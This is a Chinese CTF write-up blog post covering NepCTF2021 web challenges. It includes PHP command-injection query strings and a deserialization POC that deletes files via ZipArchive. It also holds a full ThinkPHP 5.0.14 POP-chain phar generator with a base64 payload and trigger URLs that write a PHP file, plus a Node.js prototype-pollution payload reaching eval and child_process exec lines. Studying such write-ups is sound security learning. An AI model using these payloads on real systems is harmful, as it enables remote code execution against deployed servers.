飞道的博客

NepCTF2021一些web题目的总结与复现

406人阅读  评论(0)

前言

参加了今年的NepCTF,题目质量很好,就是周末事情比较多,而且只会php,没有全身心去做,所以当时只做了两道题目,赛后认真看了一下php,因为只会php(我太菜了呜呜呜),主要还是提供思路,还有其他的题目没来及复现,慢慢会写上来。

little_trick

挺简单的签到题了,不做讲解,只放思路了。
先放一下别的师傅的思路:

?len=-1&nep=echo`nl *`;;

substr那里放-1就可以截取到除去最后一位的字符串,这种思路当时没想到,还是自己太菜了。
我的思路:

?len=7;ls > 1.txt;&nep=`$len`;

利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。

梦里花开牡丹亭

简单的反序列化,这题的重点就2个,一个是原生类的反序列化,另外一个就是有长度限制的命令执行。这里首先要删除waf.txt,用到ZipArchive()原生类:

$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);  
// ZipArchive::OVERWRITE:  总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

然后就是9长度限制的命令执行,这题没必要用到4,5,7长度的姿势,9长度可以执行n\l /flag,POC:

<?php

class Game{
   
    public  $username;
    public  $password;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
   
        $this->register="admin";
        $this->username='admin';
        $this->password='admin';
        //$this->file=new ZipArchive();
        $this->file=new Open();
        $this->filename="shell";
        //$this->content=ZipArchive::OVERWRITE;
        //$this->content="n\l /flag";
        $this->content="";
    }

}
class Open{
   

}
echo base64_encode(serialize(new Game()));

//echo serialize(new Game());

faka_revenge

改自网鼎杯2020半决赛的那题,这个比赛的时候我把网鼎杯那题给审了一下复现了,然后比赛结束后再来看了一下这个加强版,感觉好像反而更简单了。
网鼎杯的原题思路请参考我刚写的文章:
[网鼎杯 2020 半决赛]faka

把这题的文件和网鼎杯那题比较了一下,感觉变化大概就是这些(可能有遗漏):

  • 文件上传的洞被修了,没法传php了。
  • 仍然可以任意创建管理账号,但是没法提权,authorize的处理被修了,只要传入authorize就会被设成0,没法设成3,但是这个无关紧要。
  • 2个读文件都是存在的,但是downloadBak方法的读文件被修了,但是wechat模块下的任意读还是存在的,而且非常好用。
  • 文件上传中check()方法里面的checkImg()方法里加了这么个东西,没法直接传phar了,但是我考虑可以base64加密,然后再利用wechat的那个伪协议来再生成phar。但是因为这里要需要检测是图片,我自己测试加上文件头后再经过一系列生成,最后的phar文件总是有奇奇怪怪的问题,试了一晚上还是不行,等大师傅们的wp出了看看大师傅们传phar的思路。因此我用了另外一个文件写入,然后成功phar成功,下面会分析到。
        $content = file_get_contents($this->filename);
        if(preg_match('/__HALT_COMPILER/i',$content)){
   
            die('dangerous pharfile!!!');
        }
  • 这个变化也是后来踩知道的,全局查找THINK_VERSION,发现是5.0.14,这个版本RCE很多,但是网鼎杯那题当时环境似乎是打不通的,但是这题是可以打通的,所以其实就是降低难度了,这题直接用tp5 rce的payload直接梭了。

接下来就是两种思路,一直是用tp5的 rce直接梭,但是ban了system这些,没ban掉passthru,仍然直接执行:

另一种解法就是phar了,tp5.0的链子之前审过,我直接拿来打发现打不通,把源码看了一下发现我那个链子是tp5.0.24的,可能和tp5.0.14的不一样,我按着源码改了一下链子,生成一下poc:

<?php
namespace think\process\pipes{
   

    use think\model\Pivot;

    class Windows{
   
        private $files;
        public function __construct()
        {
   
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
   

    use think\console\Output;
    use think\model\relation\HasOne;

    abstract class Model{
   
        protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
   
            $this->append[]="getError";
            $this->error=new HasOne();
            $this->parent=new Output();
        }
    }
}
namespace think\model\relation{
   

    use think\console\Output;
    use think\db\Query;

    class HasOne{
   
        protected $selfRelation;
        protected $model;
        protected $bindAttr = [];
        public function __construct()
        {
   
            $this->selfRelation=false;
            $this->model="think\console\Output";
            $this->bindAttr=array(
                '123'=>"feng"
            );
        }

    }
}
namespace think\console{
   

    use think\session\driver\Memcached;

    class Output{
   
        private $handle;
        protected $styles = [
            'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning',
            "getAttr"
        ];
        public function __construct()
        {
   
            $this->handle=new Memcached();
        }
    }
}
namespace think\session\driver{
   

    use think\cache\driver\File;

    class Memcached{
   
        protected $handler;
        protected $config  = [
            'host'         => '127.0.0.1', // memcache主机
            'port'         => 11211, // memcache端口
            'expire'       => 3600, // session有效期
            'timeout'      => 0, // 连接超时时间(单位:毫秒)
            'session_name' => '1', // memcache key前缀
            'username'     => '', //账号
            'password'     => '', //密码
        ];
        public function __construct()
        {
   
            $this->handler=new File();
        }
    }
}
namespace think\cache\driver{
   
    class File{
   
        protected $tag;
        protected $options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => "",
            'path'          => "php://filter/write=string.rot13/resource=/var/www/html/static/upload/<?cuc cucvasb();?>",
            'data_compress' => false,
        ];
        public function __construct()
        {
   
            $this->tag="1";
        }
    }
}
namespace think\model{
   
    use think\Model;
    class Pivot extends Model{
   

    }
}

namespace{
   

    use think\process\pipes\Windows;
    $a=new Windows();
    @unlink("phar.jpg");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
    $b=file_get_contents("phar.phar");
    echo str_replace("+","%2B",base64_encode($b));
    //echo str_replace("+","2b",base64_encode(serialize(new Windows())));
}

文件的写入是application/admin/controller/Index.php的version_update()方法:

直接post或者get传参,然后写到version_update.lock,只不过看来只能写一次,有些鸡肋,但是至少写起来不会出错:


/admin/index/version_update

version_hash=PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQphBAAAAQAAABEAAAABAAAAAAArBAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7YjowO3M6ODoiACoAbW9kZWwiO3M6MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjtzOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjEyMztzOjQ6ImZlbmciO319czo5OiIAKgBwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7czoxOiIxIjtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6ODc6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9zdGF0aWMvdXBsb2FkLzw/Y3VjIGN1Y3Zhc2IoKTs/PiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO319czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjE6IjEiO3M6ODoidXNlcm5hbWUiO3M6MDoiIjtzOjg6InBhc3N3b3JkIjtzOjA6IiI7fX1zOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo0OiJpbmZvIjtpOjE7czo1OiJlcnJvciI7aToyO3M6NzoiY29tbWVudCI7aTozO3M6ODoicXVlc3Rpb24iO2k6NDtzOjk6ImhpZ2hsaWdodCI7aTo1O3M6Nzoid2FybmluZyI7aTo2O3M6NzoiZ2V0QXR0ciI7fX19fX0IAAAAdGVzdC50eHQEAAAAv51YYAQAAAAMfn/YtgEAAAAAAAB0ZXN00zSmuV5kbkgHqn/cm5gEy1wUs4sCAAAAR0JNQg==

然后那边再base64解密写一下:

/wechat/review/img?url=php://filter/convert.base64-decode/resource=./runtime/version_update.lock

再phar读,就可以生成了:

/wechat/review/img?url=phar://./static/upload/tmp/df99950f0aaec9c8/3084726b18a3d40c.jpg


我这是phpinfo的payload,命令执行可以再改一下最上面的POC链。
至于写入的文件名,我也懒得去推了,我在自己本地打一遍,就知道文件名是什么了。
如果phar打遇到什么问题,就自己本地搭环境测试,遇到问题打断点或者慢慢调试就可以了。

总的来说这题还是很有意思的,主要还是tp5的rce没被ban的话,就可以直接利用tp5的rce来打,会方便很多,这题phar还是很有意思的。

bbxhh_revenge

当时比赛的时候看到要一直换ip就很烦,就没做了。
首先是imagin来命令执行,但是传了之后提示lie,还需要nepnep=phpinfo();
之后又提示要post传HuaiNvRenPaPaPa,因此再传post:HuaiNvRenPaPaPa=1
就可以在phpinfo中找到flag:

但是这不是预期解,预期解的话以后有空再看了,我也没那么多的节点,如果有时间的话折腾一下官方wp说的那个腾讯的云函数,再来复现这题的预期解。

gamejs

最近刚学了一天的node.js,看这题看的也蛮费劲的,出题人预期解的思路等我学完了node.js再来复现,暂时复现一下非预期,参考了Y4师傅的文章:
NepCTF2021-Web部分(除画皮)

大致看了一下,有三个路由,其中/record是有用的路由:

async function record(req, res, next) {
   
    new Promise(function (resolve, reject) {
   
        var record = new Record();
        var score = req.body.score;
        if (score.length < String(highestScore).length) {
   
            merge(record, {
   
                lastScore: score,
                maxScore: Math.max(parseInt(score),record.maxScore),
                lastTime: new Date().toString()
            });
            highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
            if ((score - highestScore) < 0) {
   
                var banner = "不好,没有精神!";
            } else {
   
                var banner = unserialize(serialize_banner).banner;
            }
        }
        res.json({
   
            banner: banner,
            record: record
        });
    }).catch(function (err) {
   
        next(err)
    })
}

幸好我还是知道原型链污染的,看到了merge函数,肯定还是需要进行原型链污染了。post传score,看到用了score.length,传个json{"score":{"length":1}},就可以绕过length的检测。而且这样正好可以绕过这个if:if ((score - highestScore) < 0) { ,因为这里的score是NAN,即 Not a Number,因此正好返回false,进入var banner = unserialize(serialize_banner).banner;

var unserialize = function(obj) {
   
    obj = JSON.parse(obj);
    if (typeof obj === 'string') {
   
        return obj;
    }
    var key;
    for(key in obj) {
   
        if(typeof obj[key] === 'string') {
   
            if(obj[key].indexOf(FUNCFLAG) === 0) {
   
                var func_code=obj[key].substring(FUNCFLAG.length);
                if (validCode(func_code)){
   
                    var d = '(' + func_code + ')';
                    obj[key] = eval(d);
                }
            }
        }
    }
    return obj;
};

看到存在obj[key] = eval(d);,可以进行js代码的执行。看一下逻辑,先把var serialize_banner = '{"banner":"好,很有精神!"}';把json字符串转换成对象,然后遍历key,如果值是以_$$ND_FUNC$$_开头,就会取剩下的部分,如果通过了validCode检测,就会进入eval了。
因此思路比较清晰了,就是进行原型链污染,使得obj[key]可控,然后执行js命令:

{
   "score":{
   "length":1,"__proto__":{
   "__proto__":{
   "a":"_$$ND_FUNC$$_xxxxx"}}}}

之所以要污染两次,就是因为record.__proto__并不是object,本地测试发现__proto__.__proto__才是(但是好像师傅们都知道。。。看来这是javascript的一些知识了,得去补一下。),record.__proto__其实也是指向Record.prototype

每个函数都有prototype(原型)属性,这个属性是一个指针,指向一个对象,这个对象的用途是包含特定类型的所有实例共享的属性和方法,即这个原型对象是用来给实例共享属性和方法的。

因此要二次污染才能污染到object。
接下来就是进行代码的执行了,要想执行命令的话网上可以查到,类似这样的操作,利用node.js的child_process模块:

require('child_process').exec('calc');

global.process.mainModule.constructor._load('child_process').exec('calc')

但是这题进行了过滤,但是没过滤掉\,因此可以用十六进制来绕过,也是非预期了,因为没有回显,也是需要盲注,盲注的脚本也就不放了,Y4师傅的博客里已经写了,可以去Y4师傅的博客里看看(强行给可爱的Y4师傅引一波流)。


转载:https://blog.csdn.net/rfrder/article/details/115105786
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场